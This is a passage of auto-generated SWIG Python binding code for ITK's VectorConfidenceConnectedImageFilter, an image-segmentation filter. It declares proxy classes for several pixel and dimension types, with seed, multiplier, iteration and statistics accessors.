InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF33IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF33IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF33IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF33IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF33IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF33IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF33IUS3)
itkVectorConfidenceConnectedImageFilterICVF33IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF33IUS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF33IUS3)
def itkVectorConfidenceConnectedImageFilterICVF33IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF33IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF33IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF33IUS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF33IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF33IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF42ISS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF42ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF42ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF42ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF42ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF42ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF42ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF42ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF42ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF42ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42ISS2)
itkVectorConfidenceConnectedImageFilterICVF42ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF42ISS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF42ISS2)
def itkVectorConfidenceConnectedImageFilterICVF42ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF42ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF42ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42ISS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF42ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF42IUC2(itkImageToImageFilterBPython.itkImageToImageFilterICVF42IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF42IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF42IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF42IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF42IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF42IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF42IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF42IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF42IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
